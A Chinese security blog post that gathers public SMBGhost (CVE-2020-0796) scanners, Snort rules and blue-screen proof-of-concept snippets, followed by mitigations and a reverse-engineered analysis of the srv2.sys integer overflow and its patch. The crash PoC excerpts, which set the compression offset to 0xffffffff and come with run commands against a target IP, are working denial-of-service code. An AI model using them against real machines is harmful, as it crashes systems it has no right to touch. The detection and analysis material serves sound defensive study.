smbghost(cve-2020-0796)漏洞POC汇总及简单分析
2020-03-30 10:59:52 Author: xz.aliyun.com(查看原文) 阅读量:495 收藏

20200310,microsoft透露了一个smb v3协议漏洞。
20200312,microsoft出补丁。
漏洞命名:smbghost
Microsoft Server Message Block 3.1.1(SMBv3)协议处理某些请求的方式中存在远程执行代码漏洞,可以在目标smb服务器或客户端上执行代码。
为了利用针对服务器的漏洞,未经身份验证的攻击者可以将特制数据包发送到目标SMBv3服务器;若要利用针对客户端的漏洞,未经身份验证的攻击者将需要配置恶意的SMBv3服务器,并诱使用户连接到该服务器。

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只影响 SMB v3.1.1,1903和1909

////至发文(20200322)暂未发现公开EXP。
环境win10x64-1903专业版,关闭防火墙,关闭自动更新!

python版

https://github.com/ollypwn/SMBGhost

It checks for SMB dialect 3.1.1 and compression capability through a negotiate request.
---README.md

socket发送数据包

pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

返回判断

if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
        print(f"{ip} Not vulnerable.")
    else:
        print(f"{ip} Vulnerable")

然而打上补丁修补后:

所以打上补丁后该脚本也会返回vulnerable导致误报。

python版带数据结构输出

https://github.com/ioncodes/SMBGhost

此脚本判断是否已启用SMBv3.1.1和SMB压缩,同1)也会误报
pip3 install hexdump

同样也是判断这两个位置

version = struct.unpack("H", response[68:70])[0]
context = struct.unpack("H", response[70:72])[0]

if version != 0x0311:
    print(f"SMB version {hex(version)} was found which is not vulnerable!")
elif context != 2:
    print(f"Server answered with context {hex(context)} which indicates that the target may not have SMB compression enabled and is therefore not vulnerable!")
else:
print(f"SMB version {hex(version)} with context {hex(context)} was found which indicates SMBv3.1.1 is being used and SMB compression is enabled, therefore being vulnerable to CVE-2020-0796!")

//另外还有这个py检查smb版本和压缩,也可以试试
https://github.com/ClarotyICS/CVE2020-0796/blob/master/python_script/smbv3_compress.py

powershell版本

https://github.com/T13nn3s/CVE-2020-0796

没打补丁:

打补丁后:

判断版本和补丁,简单直接,不会误报。

if ($WindowsVersion -eq 1903) {
        Write-Host "[*] CVE-2020-0976 is applicable to your Windows Version."
    }
    Elseif ($WindowsVersion -eq 1909) {
        Write-Host "[*] CVE-2020-0976 is applicable to your Windows Version."
    }
    Else {
        Write-Host "[+] CVE-2020-0976 is not applicable to your Windows Version." -ForegroundColor Green
        pause
        return
}
......
function CheckIfUpdateIsInstalled {
    Write-Host "[*] Check if KB4551762 is installed..."

    $fix = Get-HotFix -Id KB4551762 -ErrorAction SilentlyContinue

    if ($fix) {
        Write-Host "[+] *** Windows Update $($fix.HotFixID) is installed on $($fix.InstalledOn). You're not vulnerable ***"
        Write-Host "[+] No workaround needed, you can still customize the SMBv3 compression if you like."
        return
    }
    Else {
        Write-Host "[-] Windows Update $($kb) is not installed."
}

perl版本

https://github.com/wneessen/SMBCompScan


也是用socket发包,返回判断两个位置

if(($byteArray[68] == 17 && $byteArray[70] == 2) || ($byteArray[70] == 2 && $byteArray[72] == 85)) {
        say 'vulnerable';
    }
    else {
        say 'not vulnerable';
    }

nmap版本

调用nmap的smb协议扫描脚本检查是否有smbv3.11

nmap -p445 --script smb-protocols -Pn -n $1 | grep -P '\d+\.\d+\.\d+\.\d+|^\|.\s+3.11' | tr '\n' ' ' | replace 'Nmap scan report for' '@' | tr "@" "\n" | grep 3.11 | tr '|' ' ' | tr '_' ' ' | grep -oP '\d+\.\d+\.\d+\.\d+'

if [[ $? != 0 ]]; then
    echo "There's no SMB v3.11"
fi

还有一些nse脚本:
https://github.com/ClarotyICS/CVE2020-0796/tree/master/nse_script
https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse
https://github.com/pr4jwal/CVE-2020-0796/blob/master/cve-2020-0796.nse

规则版本

https://github.com/ClarotyICS/CVE2020-0796/tree/master/snort_rules
https://github.com/cve-2020-0796/cve-2020-0796/blob/master/snort_rule_smbv3.rules

蓝屏POC

1)
https://github.com/eerykitty/CVE-2020-0796-PoC

def _compress(self, b_data, session):
        header = SMB2CompressionTransformHeader()
        header['original_size'] = len(b_data)
        header['offset'] = 4294967295
        header['data'] = smbprotocol.lznt1.compress(b_data)

python3 CVE-2020-0796.py 19.1.2.56

2)
https://github.com/maxpl0it/Unauthenticated-CVE-2020-0796-PoC/blob/master/crash.py

class Smb2CompressedTransformHeader:
    def __init__(self, data):
        self.data = data
        self.protocol_id = "\xfcSMB"
        self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')
        self.compression_algorithm = "\x01\x00"
        self.flags = "\x00"*2
        self.offset = "\xff\xff\xff\xff"  # Exploit the vulnerability

python3 crash.py 19.1.2.56

3)
https://gist.github.com/asolino/45095268f0893bcf08bca3ae68a755b2

def attack(self):
        compressedHeader = SMB2_COMPRESSION_TRANSFORM_HEADER ()
        compressedHeader['ProtocolID'] = 0x424D53FC
        compressedHeader['OriginalCompressedSegmentSize'] = 1024
        compressedHeader['CompressionAlgorithm'] = 1
        compressedHeader['Flags'] = 0xffff
        compressedHeader['Offset_Length'] = 0xffffffff

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
sudo python setup.py install

1】设置-更新和安全-Windows更新-检查更新
或直接下载对应补丁进行安装(KB4551762)
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
2】regedit HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。
或powershell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
3】封445端口

smb服务端漏洞文件srv2.sys(C:\Windows\System32\drivers\srv2.sys)
smb客户端漏洞文件mrxsmb.sys
都在SmbCompressDecompress中调用了相同的代码。
分析srv2.sys:
//ida加载srv2.sys不显示函数名是因为没有符号表,要科学上网再在ida提示的时候点yes下载,或者利用windbg\symchk.exe下载

微软在Windows 10 v1903/Windows Server v1903的SMB 3.1.1协议中开启了对数据压缩传输的支持,本漏洞成因是SMB客户端及服务端在准备解压数据(身份认证请求)时,没有对COMPRESSION_TRANSFORM_HEADE结构进行安全校验,导致后续分配buffer时整形溢出。

typedef struct _COMPRESSION_TRANSFORM_HEADER
    {
      ULONG ProtocolId;
      ULONG OriginalCompressedSegmentSize;
      USHORT CompressionAlgorithm;
      USHORT Flags;
      ULONG Length;
    }COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;

在srv2.sys中找和compress相关的函数,如下:
Smb2GetHonorCompressionAlgOrder
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2ValidateCompressionCapabilities
Smb2SelectCompressionAlgorithm

smb会调用Srv2!Srv2ReceiveHandler函数接收smb数据包,如果SMB Header中的ProtocolId是0xFC, 'S', 'M', 'B',说明数据是压缩的,则smb会调用Srv2DecompressMessageAsync函数进行解压缩。

Srv2!Srv2DecompressMessageAsync会调用Srv2!Srv2DecompressData函数,申请buffer,解压缩并copy到buffer

附上Lucas Georges美化后的代码:

For that, I used three sources of public information:
DevDays Redmond 2019, where they present an overview of "compressed" SMB packets: >https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf ([4])
[MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962 ([5])
Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/
---Lucas Georges

__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
{
  __int64 smb_packet; // rdi
  __int64 _header; // rax
  SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
  AAA smb_header_compress; // xmm0_8
  unsigned int CompressionAlgorithm; // ebp
  __int64 __alloc_buffer; // rax
  __int64 __allocated_buffer; // rbx
  int PayloadSize; // eax
  SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
  int UncompressedSize; // [rsp+60h] [rbp+8h]

  UncompressedSize = 0;
  smb_packet = _smb_packet;
  _header = *(_QWORD *)(_smb_packet + 0xF0);

  // Basic size checks
  if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
    return 0xC000090Bi64;

  v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
  Header = v3;

  // Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence
  *(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
                                            (__m128i)v3,
                                            offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
  CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
  if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
    return 0xC00000BBi64;

  // Nani ?? oO
  __alloc_buffer = SrvNetAllocateBuffer(
        (unsigned int)(
            Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
        0i64
  );

  __allocated_buffer = __alloc_buffer;
  if ( !__alloc_buffer )
    return 0xC000009Ai64;

  // Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize
  if ( (int)SmbCompressionDecompress(
              CompressionAlgorithm,
              (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
                                                                          + 0x10i64),
              *(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
              (BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
              Header.OriginalCompressedSegmentSize,
              &UncompressedSize) < 0
    || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
  {
    SrvNetFreeBuffer(__allocated_buffer);
    return 0xC000090Bi64;
  }

  // Copy optional payload
  if ( Header.OffsetOrLength )
  {
    memmove(
      *(void **)(__allocated_buffer + 0x18),
      (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
      (unsigned int)Header.OffsetOrLength);
    PayloadSize = UncompressedSize;
  }


  *(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
  Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
  return 0i64;
}

攻击者可以控制 OriginalCompressedSegmentSize和OffsetOrLength 这两个参数。

//图片来源:[MS-SMB2]

OriginalCompressedSegmentSize:压缩前的数据大小。
OffsetOrLength :压缩数据的长度或者片偏移,主要取决于是否设置flags变量。
都为32位int型,并且Srv2!Srv2DecompressData用它们控制分配内存空间,漏洞点:

__alloc_buffer  =  SrvNetAllocateBuffer
   unsigned  int )(Header.OriginalCompressedSegmentSize  +  smb_header_compress.OffsetOrLength),
   0 i64 
 ;

没有检查相加的值,导致integer整数溢出,SrvNetAllocateBuffer分配了一个较小的alloc_buffer。
随后在Srv2!Srv2DecompressData函数调用SmbCompressionDecompress,最终调用nt!RtlDecompressBufferXpressLz进行数据解压。
附上360博客上分析的代码:

signed __int64 __fastcall RtlDecompressBufferXpressLz(_BYTE *a1, unsigned int a2, _BYTE *a3, unsigned int a4, __int64 a5, _DWORD *a6)
    {
            v9 = &a1[a2];
            ....
            if ( &a1[v21] > v9 )
              return 0xC0000242i64;
            ...
            v33 = a1;
            a1 += v21;
            qmemcpy(v33, v23, v21);
}

//代码来源blogs.360.cn/post/CVE-2020-0796.html

a1指向SrvNetAllocateBuffer分配的alloc_buffer,

a2的值为OriginalCompressedSegmentSize,v21的值为从smb数据包中解析的解压缩数据的大小,该值可由攻击者控制,若该大小大于OriginalCompressedSegmentSize,则会返回0xC0000242错误,由于之前对长度没有检查,如果我们传入一个很大的OriginalCompressedSegmentSize触发整数溢出,同时v21就可以设置一个极大值,而依然可以通过对decompress size的判断,最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出
---blogs.360.cn

补丁对比:

美化后代码:

unsigned int _v_allocation_size = 0;

  if (!NT_SUCCESS(RtlUlongAdd(Header.OriginalCompressedSegmentSize, smb_header_compress.OffsetOrLength, &_v_allocation_size)))
  {
    SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
    goto ON_ERROR;
  }

  if (_v_allocation_size > another_smb_size_i_guess)
  {
    SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
    goto ON_ERROR;
  }

  __alloc_buffer = SrvNetAllocateBuffer(
    _v_allocation_size,
    0i64
  );
  if ( !__alloc_buffer )
    return 0xC000009A;

  if (!NT_SUCCESS(RtlULongSub(_v_allocation_size, smb_header_compress.OffsetOrLength, &_v_uncompressed_size)))
  {
    SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
    goto ON_ERROR;
  }

  if (!NT_SUCCESS(SmbCompressionDecompress(
              AlgoId,
              (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
                                                                          + 0x10i64),
              _v_uncompressed_size,
              Size.m128i_u32[3] + *(_QWORD *)(v10 + 24),
              Header.OriginalCompressedSegmentSize,
              &UncompressedSize)) < 0
    || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )

//代码来源https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html

使用RtlULongAdd对OriginalCompressedSegmentSize和Offset(Length)进行检查。
用RtULongSub在计算偏移量字段的同时计算压缩缓冲区的大小。
这两个函数是安全的,可在运行时检查整数上溢/下溢出。

继ms17-010,cve-2019-0708后,又一个蠕虫级RCE漏洞,期待EXP!
//附件是srv2.sys和符号表文件

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
blogs.360.cn/post/CVE-2020-0796.html
https://blog.riskivy.com/零基础探索smbv3远程代码执行漏洞poc/
https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/microsoft-public-symbols


文章来源: http://xz.aliyun.com/t/7440
如有侵权请联系:admin#unsafe.sh